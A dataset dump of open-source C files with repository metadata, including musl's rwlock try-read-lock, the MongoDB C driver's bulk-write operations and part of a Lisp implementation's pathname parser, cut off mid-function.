GtReadmode readmode,
const GtEncseq *encseq,
GtUword numberofallsortedsuffixes,
unsigned int prefixlength,
GtUword numoflargelcpvalues,
double averagelcp,
GtUword maxbranchdepth,
const Definedunsignedlong *longest,
GtError *err)
{
FILE *prjfp;
bool haserr = false;
gt_error_check(err);
prjfp = gt_fa_fopen_with_suffix(indexname,GT_PROJECTFILESUFFIX,"wb",err);
if (prjfp == NULL)
{
haserr = true;
}
if (!haserr)
{
showprjinfo(prjfp,
readmode,
encseq,
numberofallsortedsuffixes,
prefixlength,
numoflargelcpvalues,
averagelcp,
maxbranchdepth,
longest);
gt_fa_xfclose(prjfp);
}
return haserr ? -1 : 0;
}
|
b988d1459cb73daf2b3226f6d64e0b37cbd2c983
|
79d343002bb63a44f8ab0dbac0c9f4ec54078c3a
|
/lib/libc/musl/src/thread/pthread_rwlock_tryrdlock.c
|
c13bc9cc1979178d573639fa2a6fcfee5cc41cb4
|
[
"MIT",
"BSD-3-Clause",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"LicenseRef-scancode-other-permissive",
"LicenseRef-scancode-musl-exception"
] |
permissive
|
ziglang/zig
|
4aa75d8d3bcc9e39bf61d265fd84b7f005623fc5
|
f4c9e19bc3213c2bc7e03d7b06d7129882f39f6c
|
refs/heads/master
| 2023-08-31T13:16:45.980913
| 2023-08-31T05:50:29
| 2023-08-31T05:50:29
| 40,276,274
| 25,560
| 2,399
|
MIT
| 2023-09-14T21:09:50
| 2015-08-06T00:51:28
|
Zig
|
UTF-8
|
C
| false
| false
| 362
|
c
|
pthread_rwlock_tryrdlock.c
|
#include "pthread_impl.h"
int __pthread_rwlock_tryrdlock(pthread_rwlock_t *rw)
{
int val, cnt;
do {
val = rw->_rw_lock;
cnt = val & 0x7fffffff;
if (cnt == 0x7fffffff) return EBUSY;
if (cnt == 0x7ffffffe) return EAGAIN;
} while (a_cas(&rw->_rw_lock, val, val+1) != val);
return 0;
}
weak_alias(__pthread_rwlock_tryrdlock, pthread_rwlock_tryrdlock);
|
d65ea957702c3ab76536afe81e4cb8fc0b3fd931
|
984bc4181baec6e5a4b05a657e666b0e9f89f3f3
|
/3rdparty/mongo-c-driver-1.21.2/src/libmongoc/src/mongoc/mongoc-bulk-operation.c
|
97f498b8c0e3a006ed575284565ef22757aee906
|
[
"BSD-3-Clause",
"Apache-2.0"
] |
permissive
|
treefrogframework/treefrog-framework
|
0173245ff92162d2107af79861505981980d1eca
|
a1df97793e8cc628779378e5adae9af6987460c1
|
refs/heads/master
| 2023-08-22T03:57:58.891846
| 2023-05-18T14:00:42
| 2023-05-18T14:00:42
| 7,067,532
| 1,152
| 263
|
BSD-3-Clause
| 2023-08-08T20:25:03
| 2012-12-08T13:17:01
|
C++
|
UTF-8
|
C
| false
| false
| 27,503
|
c
|
mongoc-bulk-operation.c
|
/*
* Copyright 2014 MongoDB, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "mongoc-bulk-operation.h"
#include "mongoc-bulk-operation-private.h"
#include "mongoc-client-private.h"
#include "mongoc-trace-private.h"
#include "mongoc-write-concern-private.h"
#include "mongoc-util-private.h"
#include "mongoc-opts-private.h"
#include "mongoc-write-command-private.h"
/*
* This is the implementation of both write commands and bulk write commands.
* They are all implemented as one contiguous set since we'd like to cut down
* on code duplication here.
*
* This implementation is currently naive.
*
* Some interesting optimizations might be:
*
* - If unordered mode, send operations as we get them instead of waiting
* for execute() to be called. This could save us memcpy()'s too.
* - If there is no acknowledgement desired, keep a count of how many
* replies we need and ask the socket layer to skip that many bytes
* when reading.
* - Try to use iovec to send write commands with subdocuments rather than
* copying them into the write command document.
*/
mongoc_bulk_operation_t *
mongoc_bulk_operation_new (bool ordered)
{
mongoc_bulk_operation_t *bulk;
bulk = (mongoc_bulk_operation_t *) bson_malloc0 (sizeof *bulk);
bulk->flags.bypass_document_validation = false;
bulk->flags.ordered = ordered;
bulk->server_id = 0;
_mongoc_array_init (&bulk->commands, sizeof (mongoc_write_command_t));
_mongoc_write_result_init (&bulk->result);
return bulk;
}
mongoc_bulk_operation_t *
_mongoc_bulk_operation_new (
mongoc_client_t *client, /* IN */
const char *database, /* IN */
const char *collection, /* IN */
mongoc_bulk_write_flags_t flags, /* IN */
const mongoc_write_concern_t *write_concern) /* IN */
{
mongoc_bulk_operation_t *bulk;
BSON_ASSERT (client);
BSON_ASSERT (collection);
bulk = mongoc_bulk_operation_new (flags.ordered);
bulk->client = client;
bulk->database = bson_strdup (database);
bulk->collection = bson_strdup (collection);
bulk->write_concern = mongoc_write_concern_copy (write_concern);
bulk->executed = false;
bulk->flags = flags;
bulk->operation_id = ++client->cluster.operation_id;
return bulk;
}
void
mongoc_bulk_operation_destroy (mongoc_bulk_operation_t *bulk) /* IN */
{
mongoc_write_command_t *command;
int i;
if (bulk) {
for (i = 0; i < bulk->commands.len; i++) {
command =
&_mongoc_array_index (&bulk->commands, mongoc_write_command_t, i);
_mongoc_write_command_destroy (command);
}
bson_free (bulk->database);
bson_free (bulk->collection);
mongoc_write_concern_destroy (bulk->write_concern);
_mongoc_array_destroy (&bulk->commands);
_mongoc_write_result_destroy (&bulk->result);
bson_free (bulk);
}
}
/* already failed, e.g. a bad call to mongoc_bulk_operation_insert? */
#define BULK_EXIT_IF_PRIOR_ERROR \
do { \
if (bulk->result.error.domain) { \
EXIT; \
} \
} while (0)
#define BULK_RETURN_IF_PRIOR_ERROR \
do { \
if (bulk->result.error.domain) { \
if (error != &bulk->result.error) { \
bson_set_error (error, \
MONGOC_ERROR_COMMAND, \
MONGOC_ERROR_COMMAND_INVALID_ARG, \
"Bulk operation is invalid from prior error: %s", \
bulk->result.error.message); \
}; \
return false; \
}; \
} while (0)
bool
_mongoc_bulk_operation_remove_with_opts (
mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const mongoc_bulk_remove_opts_t *remove_opts,
int32_t limit,
bson_error_t *error) /* OUT */
{
mongoc_write_command_t command = {0};
mongoc_write_command_t *last;
bson_t opts;
bool has_collation;
bool ret = false;
bool has_delete_hint;
ENTRY;
BSON_ASSERT (bulk);
BSON_ASSERT (selector);
bson_init (&opts);
/* allow "limit" in opts, but it must be the correct limit */
if (remove_opts->limit != limit) {
bson_set_error (error,
MONGOC_ERROR_COMMAND,
MONGOC_ERROR_COMMAND_INVALID_ARG,
"Invalid \"limit\" in opts: %" PRId32 "."
" The value must be %" PRId32 ", or omitted.",
remove_opts->limit,
limit);
GOTO (done);
}
bson_append_int32 (&opts, "limit", 5, limit);
has_collation = !bson_empty (&remove_opts->collation);
if (has_collation) {
bson_append_document (&opts, "collation", 9, &remove_opts->collation);
}
has_delete_hint = !!(remove_opts->hint.value_type);
if (has_delete_hint) {
bson_append_value (&opts, "hint", 4, &remove_opts->hint);
}
if (bulk->commands.len) {
last = &_mongoc_array_index (
&bulk->commands, mongoc_write_command_t, bulk->commands.len - 1);
if (last->type == MONGOC_WRITE_COMMAND_DELETE) {
last->flags.has_collation |= has_collation;
last->flags.has_delete_hint |= has_delete_hint;
last->flags.has_multi_write |= (remove_opts->limit == 0);
_mongoc_write_command_delete_append (last, selector, &opts);
ret = true;
GOTO (done);
}
}
_mongoc_write_command_init_delete (
&command, selector, NULL, &opts, bulk->flags, bulk->operation_id);
command.flags.has_collation = has_collation;
command.flags.has_delete_hint = has_delete_hint;
command.flags.has_multi_write = (remove_opts->limit == 0);
_mongoc_array_append_val (&bulk->commands, command);
ret = true;
done:
bson_destroy (&opts);
RETURN (ret);
}
bool
mongoc_bulk_operation_remove_one_with_opts (mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *opts,
bson_error_t *error) /* OUT */
{
mongoc_bulk_remove_one_opts_t remove_opts;
bool ret;
ENTRY;
BULK_RETURN_IF_PRIOR_ERROR;
if (!_mongoc_bulk_remove_one_opts_parse (
bulk->client, opts, &remove_opts, error)) {
_mongoc_bulk_remove_one_opts_cleanup (&remove_opts);
RETURN (false);
}
ret = _mongoc_bulk_operation_remove_with_opts (
bulk, selector, &remove_opts.remove, 1, error);
_mongoc_bulk_remove_one_opts_cleanup (&remove_opts);
RETURN (ret);
}
bool
mongoc_bulk_operation_remove_many_with_opts (mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *opts,
bson_error_t *error) /* OUT */
{
mongoc_bulk_remove_many_opts_t remove_opts;
bool ret;
ENTRY;
BULK_RETURN_IF_PRIOR_ERROR;
if (!_mongoc_bulk_remove_many_opts_parse (
bulk->client, opts, &remove_opts, error)) {
_mongoc_bulk_remove_many_opts_cleanup (&remove_opts);
RETURN (false);
}
ret = _mongoc_bulk_operation_remove_with_opts (
bulk, selector, &remove_opts.remove, 0, error);
_mongoc_bulk_remove_many_opts_cleanup (&remove_opts);
RETURN (ret);
}
void
mongoc_bulk_operation_remove (mongoc_bulk_operation_t *bulk, /* IN */
const bson_t *selector) /* IN */
{
bson_error_t *error = &bulk->result.error;
ENTRY;
BULK_EXIT_IF_PRIOR_ERROR;
if (!mongoc_bulk_operation_remove_many_with_opts (
bulk, selector, NULL, error)) {
MONGOC_WARNING ("%s", error->message);
}
if (error->domain) {
MONGOC_WARNING ("%s", error->message);
}
EXIT;
}
void
mongoc_bulk_operation_remove_one (mongoc_bulk_operation_t *bulk, /* IN */
const bson_t *selector) /* IN */
{
bson_error_t *error = &bulk->result.error;
ENTRY;
BULK_EXIT_IF_PRIOR_ERROR;
if (!mongoc_bulk_operation_remove_one_with_opts (
bulk, selector, NULL, error)) {
MONGOC_WARNING ("%s", error->message);
}
if (error->domain) {
MONGOC_WARNING ("%s", error->message);
}
EXIT;
}
void
mongoc_bulk_operation_delete (mongoc_bulk_operation_t *bulk,
const bson_t *selector)
{
ENTRY;
mongoc_bulk_operation_remove (bulk, selector);
EXIT;
}
void
mongoc_bulk_operation_delete_one (mongoc_bulk_operation_t *bulk,
const bson_t *selector)
{
ENTRY;
mongoc_bulk_operation_remove_one (bulk, selector);
EXIT;
}
void
mongoc_bulk_operation_insert (mongoc_bulk_operation_t *bulk,
const bson_t *document)
{
ENTRY;
BSON_ASSERT (bulk);
BSON_ASSERT (document);
if (!mongoc_bulk_operation_insert_with_opts (
bulk, document, NULL /* opts */, &bulk->result.error)) {
MONGOC_WARNING ("%s", bulk->result.error.message);
}
EXIT;
}
bool
mongoc_bulk_operation_insert_with_opts (mongoc_bulk_operation_t *bulk,
const bson_t *document,
const bson_t *opts,
bson_error_t *error)
{
mongoc_bulk_insert_opts_t insert_opts;
mongoc_write_command_t command = {0};
mongoc_write_command_t *last;
bool ret = false;
ENTRY;
BSON_ASSERT (bulk);
BSON_ASSERT (document);
BULK_RETURN_IF_PRIOR_ERROR;
if (!_mongoc_bulk_insert_opts_parse (
bulk->client, opts, &insert_opts, error)) {
GOTO (done);
}
if (!_mongoc_validate_new_document (document, insert_opts.validate, error)) {
GOTO (done);
}
if (bulk->commands.len) {
last = &_mongoc_array_index (
&bulk->commands, mongoc_write_command_t, bulk->commands.len - 1);
if (last->type == MONGOC_WRITE_COMMAND_INSERT) {
_mongoc_write_command_insert_append (last, document);
ret = true;
GOTO (done);
}
}
_mongoc_write_command_init_insert (
&command, document, &insert_opts.extra, bulk->flags, bulk->operation_id);
_mongoc_array_append_val (&bulk->commands, command);
ret = true;
done:
_mongoc_bulk_insert_opts_cleanup (&insert_opts);
RETURN (ret);
}
static void
_mongoc_bulk_operation_update_append (
mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *document,
const mongoc_bulk_update_opts_t *update_opts,
const bson_t *array_filters,
const bson_t *extra_opts)
{
mongoc_write_command_t command = {0};
mongoc_write_command_t *last;
bson_t opts;
bool has_collation;
bool has_array_filters;
bool has_update_hint;
bson_init (&opts);
bson_append_bool (&opts, "upsert", 6, update_opts->upsert);
bson_append_bool (&opts, "multi", 5, update_opts->multi);
has_array_filters = !bson_empty0 (array_filters);
if (has_array_filters) {
bson_append_array (&opts, "arrayFilters", 12, array_filters);
}
has_collation = !bson_empty (&update_opts->collation);
if (has_collation) {
bson_append_document (&opts, "collation", 9, &update_opts->collation);
}
has_update_hint = !!(update_opts->hint.value_type);
if (has_update_hint) {
bson_append_value (&opts, "hint", 4, &update_opts->hint);
}
if (extra_opts) {
bson_concat (&opts, extra_opts);
}
if (bulk->commands.len) {
last = &_mongoc_array_index (
&bulk->commands, mongoc_write_command_t, bulk->commands.len - 1);
if (last->type == MONGOC_WRITE_COMMAND_UPDATE) {
last->flags.has_array_filters |= has_array_filters;
last->flags.has_collation |= has_collation;
last->flags.has_update_hint |= has_update_hint;
last->flags.has_multi_write |= update_opts->multi;
_mongoc_write_command_update_append (last, selector, document, &opts);
bson_destroy (&opts);
return;
}
}
_mongoc_write_command_init_update (
&command, selector, document, &opts, bulk->flags, bulk->operation_id);
command.flags.has_array_filters = has_array_filters;
command.flags.has_collation = has_collation;
command.flags.has_update_hint = has_update_hint;
command.flags.has_multi_write = update_opts->multi;
_mongoc_array_append_val (&bulk->commands, command);
bson_destroy (&opts);
}
static bool
_mongoc_bulk_operation_update_with_opts (
mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *document,
const mongoc_bulk_update_opts_t *update_opts,
const bson_t *array_filters,
const bson_t *extra_opts,
bool multi,
bson_error_t *error) /* OUT */
{
ENTRY;
BSON_ASSERT (bulk);
BSON_ASSERT (selector);
BSON_ASSERT (document);
if (!_mongoc_validate_update (document, update_opts->validate, error)) {
RETURN (false);
}
/* allow "multi" in opts, but it must be the correct multi */
if (update_opts->multi != multi) {
bson_set_error (error,
MONGOC_ERROR_COMMAND,
MONGOC_ERROR_COMMAND_INVALID_ARG,
"Invalid \"multi\" in opts: %s."
" The value must be %s, or omitted.",
update_opts->multi ? "true" : "false",
multi ? "true" : "false");
RETURN (false);
}
_mongoc_bulk_operation_update_append (
bulk, selector, document, update_opts, array_filters, extra_opts);
RETURN (true);
}
bool
mongoc_bulk_operation_update_one_with_opts (mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *document,
const bson_t *opts,
bson_error_t *error) /* OUT */
{
mongoc_bulk_update_one_opts_t update_opts;
bool ret;
ENTRY;
BULK_RETURN_IF_PRIOR_ERROR;
if (!_mongoc_bulk_update_one_opts_parse (
bulk->client, opts, &update_opts, error)) {
_mongoc_bulk_update_one_opts_cleanup (&update_opts);
RETURN (false);
}
ret = _mongoc_bulk_operation_update_with_opts (bulk,
selector,
document,
&update_opts.update,
&update_opts.arrayFilters,
&update_opts.extra,
false /* multi */,
error);
_mongoc_bulk_update_one_opts_cleanup (&update_opts);
RETURN (ret);
}
bool
mongoc_bulk_operation_update_many_with_opts (mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *document,
const bson_t *opts,
bson_error_t *error) /* OUT */
{
mongoc_bulk_update_many_opts_t update_opts;
bool ret;
ENTRY;
BULK_RETURN_IF_PRIOR_ERROR;
if (!_mongoc_bulk_update_many_opts_parse (
bulk->client, opts, &update_opts, error)) {
_mongoc_bulk_update_many_opts_cleanup (&update_opts);
RETURN (false);
}
ret = _mongoc_bulk_operation_update_with_opts (bulk,
selector,
document,
&update_opts.update,
&update_opts.arrayFilters,
&update_opts.extra,
true /* multi */,
error);
_mongoc_bulk_update_many_opts_cleanup (&update_opts);
RETURN (ret);
}
void
mongoc_bulk_operation_update (mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *document,
bool upsert)
{
bson_t opts;
bson_error_t *error = &bulk->result.error;
ENTRY;
BULK_EXIT_IF_PRIOR_ERROR;
bson_init (&opts);
if (upsert) {
BSON_APPEND_BOOL (&opts, "upsert", upsert);
}
if (!mongoc_bulk_operation_update_many_with_opts (
bulk, selector, document, &opts, error)) {
MONGOC_WARNING ("%s", error->message);
}
bson_destroy (&opts);
if (error->domain) {
MONGOC_WARNING ("%s", error->message);
}
EXIT;
}
void
mongoc_bulk_operation_update_one (mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *document,
bool upsert)
{
bson_t opts;
bson_error_t *error = &bulk->result.error;
ENTRY;
BULK_EXIT_IF_PRIOR_ERROR;
bson_init (&opts);
BSON_APPEND_BOOL (&opts, "upsert", upsert);
if (!mongoc_bulk_operation_update_one_with_opts (
bulk, selector, document, &opts, error)) {
MONGOC_WARNING ("%s", error->message);
}
bson_destroy (&opts);
if (error->domain) {
MONGOC_WARNING ("%s", error->message);
}
EXIT;
}
bool
mongoc_bulk_operation_replace_one_with_opts (mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *document,
const bson_t *opts,
bson_error_t *error) /* OUT */
{
mongoc_bulk_replace_one_opts_t repl_opts;
mongoc_bulk_update_opts_t *update_opts = &repl_opts.update;
bool ret = false;
ENTRY;
BSON_ASSERT (bulk);
BSON_ASSERT (selector);
BSON_ASSERT (document);
BULK_RETURN_IF_PRIOR_ERROR;
if (!_mongoc_bulk_replace_one_opts_parse (
bulk->client, opts, &repl_opts, error)) {
GOTO (done);
}
if (!_mongoc_validate_replace (document, update_opts->validate, error)) {
GOTO (done);
}
/* allow "multi" in opts, but it must be the correct multi */
if (update_opts->multi) {
bson_set_error (error,
MONGOC_ERROR_COMMAND,
MONGOC_ERROR_COMMAND_INVALID_ARG,
"Invalid \"multi\": true in opts for"
" mongoc_bulk_operation_replace_one_with_opts."
" The value must be true, or omitted.");
GOTO (done);
}
_mongoc_bulk_operation_update_append (
bulk, selector, document, update_opts, NULL, &repl_opts.extra);
ret = true;
done:
_mongoc_bulk_replace_one_opts_cleanup (&repl_opts);
RETURN (ret);
}
void
mongoc_bulk_operation_replace_one (mongoc_bulk_operation_t *bulk,
const bson_t *selector,
const bson_t *document,
bool upsert)
{
bson_t opts = BSON_INITIALIZER;
bson_error_t *error = &bulk->result.error;
ENTRY;
BSON_APPEND_BOOL (&opts, "upsert", upsert);
if (!mongoc_bulk_operation_replace_one_with_opts (
bulk, selector, document, &opts, error)) {
MONGOC_WARNING ("%s", error->message);
}
bson_destroy (&opts);
EXIT;
}
uint32_t
mongoc_bulk_operation_execute (mongoc_bulk_operation_t *bulk, /* IN */
bson_t *reply, /* OUT */
bson_error_t *error) /* OUT */
{
mongoc_cluster_t *cluster;
mongoc_write_command_t *command;
mongoc_server_stream_t *server_stream;
bool ret;
uint32_t offset = 0;
int i;
ENTRY;
BSON_ASSERT (bulk);
if (!bulk->client) {
bson_set_error (error,
MONGOC_ERROR_COMMAND,
MONGOC_ERROR_COMMAND_INVALID_ARG,
"mongoc_bulk_operation_execute() requires a client "
"and one has not been set.");
GOTO (err);
}
cluster = &bulk->client->cluster;
if (bulk->executed) {
_mongoc_write_result_destroy (&bulk->result);
_mongoc_write_result_init (&bulk->result);
}
bulk->executed = true;
if (!bulk->database) {
bson_set_error (error,
MONGOC_ERROR_COMMAND,
MONGOC_ERROR_COMMAND_INVALID_ARG,
"mongoc_bulk_operation_execute() requires a database "
"and one has not been set.");
GOTO (err);
} else if (!bulk->collection) {
bson_set_error (error,
MONGOC_ERROR_COMMAND,
MONGOC_ERROR_COMMAND_INVALID_ARG,
"mongoc_bulk_operation_execute() requires a collection "
"and one has not been set.");
GOTO (err);
}
/* error stored by functions like mongoc_bulk_operation_insert that
* can't report errors immediately */
if (bulk->result.error.domain) {
if (error) {
memcpy (error, &bulk->result.error, sizeof (bson_error_t));
}
GOTO (err);
}
if (!bulk->commands.len) {
bson_set_error (error,
MONGOC_ERROR_COMMAND,
MONGOC_ERROR_COMMAND_INVALID_ARG,
"Cannot do an empty bulk write");
GOTO (err);
}
for (i = 0; i < bulk->commands.len; i++) {
if (bulk->server_id) {
server_stream =
mongoc_cluster_stream_for_server (cluster,
bulk->server_id,
true /* reconnect_ok */,
bulk->session,
reply,
error);
} else {
server_stream = mongoc_cluster_stream_for_writes (
cluster, bulk->session, reply, error);
}
if (!server_stream) {
/* stream_for_server and stream_for_writes initialize reply on error */
RETURN (false);
}
command =
&_mongoc_array_index (&bulk->commands, mongoc_write_command_t, i);
_mongoc_write_command_execute (command,
bulk->client,
server_stream,
bulk->database,
bulk->collection,
bulk->write_concern,
offset,
bulk->session,
&bulk->result);
bulk->server_id = server_stream->sd->id;
/* If a retryable error occurred and a new primary was selected, use it in
* subsequent commands. */
if (bulk->result.retry_server_id) {
bulk->server_id = bulk->result.retry_server_id;
}
if (bulk->result.failed &&
(bulk->flags.ordered || bulk->result.must_stop)) {
mongoc_server_stream_cleanup (server_stream);
GOTO (cleanup);
}
offset += command->n_documents;
mongoc_server_stream_cleanup (server_stream);
}
cleanup:
_mongoc_bson_init_if_set (reply);
ret = MONGOC_WRITE_RESULT_COMPLETE (&bulk->result,
bulk->client->error_api_version,
bulk->write_concern,
MONGOC_ERROR_COMMAND /* err domain */,
reply,
error);
RETURN (ret ? bulk->server_id : 0);
err:
_mongoc_bson_init_if_set (reply);
RETURN (false);
}
void
mongoc_bulk_operation_set_write_concern (
mongoc_bulk_operation_t *bulk, const mongoc_write_concern_t *write_concern)
{
BSON_ASSERT (bulk);
if (bulk->write_concern) {
mongoc_write_concern_destroy (bulk->write_concern);
}
if (write_concern) {
bulk->write_concern = mongoc_write_concern_copy (write_concern);
} else {
bulk->write_concern = mongoc_write_concern_new ();
}
}
const mongoc_write_concern_t *
mongoc_bulk_operation_get_write_concern (const mongoc_bulk_operation_t *bulk)
{
BSON_ASSERT (bulk);
return bulk->write_concern;
}
void
mongoc_bulk_operation_set_database (mongoc_bulk_operation_t *bulk,
const char *database)
{
BSON_ASSERT (bulk);
if (bulk->database) {
bson_free (bulk->database);
}
bulk->database = bson_strdup (database);
}
void
mongoc_bulk_operation_set_collection (mongoc_bulk_operation_t *bulk,
const char *collection)
{
BSON_ASSERT (bulk);
if (bulk->collection) {
bson_free (bulk->collection);
}
bulk->collection = bson_strdup (collection);
}
void
mongoc_bulk_operation_set_client (mongoc_bulk_operation_t *bulk, void *client)
{
BSON_ASSERT (bulk);
BSON_ASSERT (client);
if (bulk->session) {
BSON_ASSERT (bulk->session->client == client);
}
bulk->client = (mongoc_client_t *) client;
/* if you call set_client, bulk was likely made by mongoc_bulk_operation_new,
* not mongoc_collection_create_bulk_operation_with_opts(), so operation_id
* is 0. */
if (!bulk->operation_id) {
bulk->operation_id = ++bulk->client->cluster.operation_id;
}
}
void
mongoc_bulk_operation_set_client_session (
mongoc_bulk_operation_t *bulk,
struct _mongoc_client_session_t *client_session)
{
BSON_ASSERT (bulk);
BSON_ASSERT (client_session);
if (bulk->client) {
BSON_ASSERT (bulk->client == client_session->client);
}
bulk->session = client_session;
}
uint32_t
mongoc_bulk_operation_get_hint (const mongoc_bulk_operation_t *bulk)
{
BSON_ASSERT (bulk);
return bulk->server_id;
}
void
mongoc_bulk_operation_set_hint (mongoc_bulk_operation_t *bulk,
uint32_t server_id)
{
BSON_ASSERT (bulk);
bulk->server_id = server_id;
}
void
mongoc_bulk_operation_set_bypass_document_validation (
mongoc_bulk_operation_t *bulk, bool bypass)
{
BSON_ASSERT (bulk);
bulk->flags.bypass_document_validation = bypass;
}
|
a84735375bda7262d9432e5420105859d11ac8e4
|
08c38200a88c921c925c33e18844f42dcb52aa90
|
/HappyDNS/include/HappyDNS/QNDnsRequest.h
|
615528cf8acc502cd4d95512c77b98783c26d729
|
[
"MIT"
] |
permissive
|
qiniu/happy-dns-objc
|
f9eb619a227c91fd18256208dc95a8eacb8b3bcf
|
5913ec8baaaee0f6ccc89590a4dbfe8f0fd50386
|
refs/heads/master
| 2023-08-24T17:10:55.180114
| 2023-08-21T02:26:59
| 2023-08-21T02:26:59
| 37,804,383
| 525
| 105
|
MIT
| 2023-08-21T02:27:00
| 2015-06-21T10:02:43
|
Objective-C
|
UTF-8
|
C
| false
| false
| 24
|
h
|
QNDnsRequest.h
|
../../Dns/QNDnsRequest.h
|
1cea95250b916d36639e56fb9b7d6f25ad81e957
|
03b2c80dbc41e904b167d504666e27d798da5447
|
/src/pathname.c
|
25e9f6dfe9ed60b96366f812bff938568c2911e9
|
[
"Unlicense"
] |
permissive
|
nptcl/npt
|
7c1570b497cdce0b8971cb445fbc04cb500232d3
|
aa714a2370ac9fa5348c2fc96159b40b9de3de07
|
refs/heads/master
| 2023-03-20T09:13:54.669118
| 2022-07-02T11:17:44
| 2022-07-02T11:17:44
| 171,985,905
| 160
| 12
|
Unlicense
| 2023-03-11T01:36:37
| 2019-02-22T03:11:34
|
C
|
UTF-8
|
C
| false
| false
| 19,832
|
c
|
pathname.c
|
#include "bignum_output.h"
#include "character_queue.h"
#include "condition.h"
#include "constant.h"
#include "copy.h"
#include "cons.h"
#include "cons_list.h"
#include "integer.h"
#include "pathname.h"
#include "pathname_localp.h"
#include "pathname_object.h"
#include "pathname_table.h"
#include "pathname_translate.h"
#include "pathname_wildcard.h"
#include "stream.h"
#include "strtype.h"
#include "strvect.h"
#include "symbol.h"
/*
* parser table
*/
static int pathname_system_unix_p(addr pos)
{
addr check;
GetConst(SYSTEM_UNIX, &check);
return pos == check;
}
static int pathname_system_windows_p(addr pos)
{
addr check;
GetConst(SYSTEM_WINDOWS, &check);
return pos == check;
}
/*
* parse-namestring
*/
static int parser_struct_pathname_(struct fileparse *pa)
{
addr host;
#ifdef LISP_DEBUG
size_t size;
string_length(pa->thing, &size);
Check(pa->end < pa->start || size < pa->end, "size error");
#endif
host = pa->host;
if (host == Nil)
GetHostPathname(pa->path, &host);
/* unix */
if (pathname_system_unix_p(host))
return parser_unix_pathname_(pa);
/* windows */
if (pathname_system_windows_p(host))
return parser_windows_pathname_(pa);
/* logical pathname */
if (stringp(host))
return parser_logical_pathname_(pa);
/* error */
return fmte_("Unknown pathname-host ~S.", host, NULL);
}
static int defaults_pathname_alloc_(Execute ptr, addr *ret, addr defaults, int localp)
{
if (defaults == Nil || defaults == Unbound) {
GetConst(SPECIAL_DEFAULT_PATHNAME_DEFAULTS, &defaults);
Return(getspecialcheck_local_(ptr, defaults, &defaults));
}
return pathname_designator_alloc_(ptr, defaults, ret, localp);
}
int defaults_pathname_heap_(Execute ptr, addr *ret, addr defaults)
{
return defaults_pathname_alloc_(ptr, ret, defaults, 0);
}
static void parse_directory_pathname(addr pos)
{
addr list, x, y;
/* junk */
if (pos == Nil)
return;
/* (:relative) -> nil */
GetDirectoryPathname(pos, &list);
if (! consp(list))
return;
if (! consp_getcons(list, &x, &list))
return;
if (list != Nil)
return;
GetConst(KEYWORD_RELATIVE, &y);
if (x != y)
return;
SetDirectoryPathname(pos, Nil);
}
static int parse_pathname_full_alloc_(Execute ptr,
addr thing, addr host, addr defaults, size_t start, size_t end, int junk,
addr *ret, size_t *pos, int localp, int errorp)
{
LocalStack stack;
struct fileparse pa;
/* argument */
Return(defaults_pathname_alloc_(ptr, &defaults, defaults, localp));
init_fileparse(&pa, ptr, localp);
pa.thing = thing;
pa.path = defaults;
pa.host = host;
pa.start = start;
pa.end = end;
pa.junk = junk? 1: 0;
pa.errorp = errorp;
/* logical-pathname */
if (host == Nil && pathname_logical_p(defaults)) {
GetHostPathname(defaults, &host);
pa.host = host;
}
/* execute */
push_localp(pa.local, &stack);
Return(parser_struct_pathname_(&pa));
parse_directory_pathname(pa.result);
*ret = pa.result;
*pos = pa.endpos;
rollback_localp(pa.local, stack);
return 0;
}
int parse_pathname_full_heap_(Execute ptr, addr thing, addr host,
addr defaults, size_t start, size_t end, int junk, addr *ret, size_t *pos)
{
return parse_pathname_full_alloc_(ptr,
thing, host, defaults, start, end, junk, ret, pos, 0, 1);
}
static int parse_pathname_alloc_(Execute ptr, addr thing, addr *ret, int localp)
{
size_t end;
string_length(thing, &end);
return parse_pathname_full_alloc_(ptr,
thing, Nil, Nil, 0, end, 0, ret, &end, localp, 1);
}
static int parse_pathname_heap_(Execute ptr, addr thing, addr *ret)
{
size_t end;
string_length(thing, &end);
return parse_pathname_full_heap_(ptr, thing, Nil, Nil, 0, end, 0, ret, &end);
}
static int parse_pathname_host_heap_(Execute ptr, addr thing, addr host, addr *ret)
{
size_t end;
string_length(thing, &end);
return parse_pathname_full_heap_(ptr, thing, host, Nil, 0, end, 0, ret, &end);
}
int parse_pathname_setf_heap_(Execute ptr, addr thing, addr host, addr *ret)
{
size_t end;
string_length(thing, &end);
return parse_pathname_full_alloc_(ptr,
thing, host, Nil, 0, end, 0, ret, &end, 0, 0);
}
int parse_pathname_char_heap_(Execute ptr, const char *str, addr *ret)
{
addr thing;
LocalRoot local;
LocalStack stack;
local = ptr->local;
push_local(local, &stack);
strvect_char_local(local, &thing, str);
Return(parse_pathname_heap_(ptr, thing, ret));
rollback_local(local, stack);
return 0;
}
int pathname_designator_alloc_(Execute ptr, addr pos, addr *ret, int localp)
{
addr value;
LocalRoot local;
/* pathname */
local = localp? ptr->local: NULL;
if (pathnamep(pos)) {
copylocal_object(local, ret, pos);
return 0;
}
/* stream */
if (streamp(pos)) {
GetPathnameStream(pos, &value);
Return(pathname_designator_alloc_(ptr, value, &value, localp));
copylocal_object(local, ret, value);
return 0;
}
/* string */
if (stringp(pos)) {
Return(parse_pathname_alloc_(ptr, pos, &value, localp));
Return(pathname_designator_alloc_(ptr, value, &value, localp));
return Result(ret, value);
}
/* type-error */
return TypeError_(pos, PATHNAME);
}
int pathname_designator_heap_(Execute ptr, addr pos, addr *ret)
{
return pathname_designator_alloc_(ptr, pos, ret, 0);
}
int pathname_designator_local_(Execute ptr, addr pos, addr *ret)
{
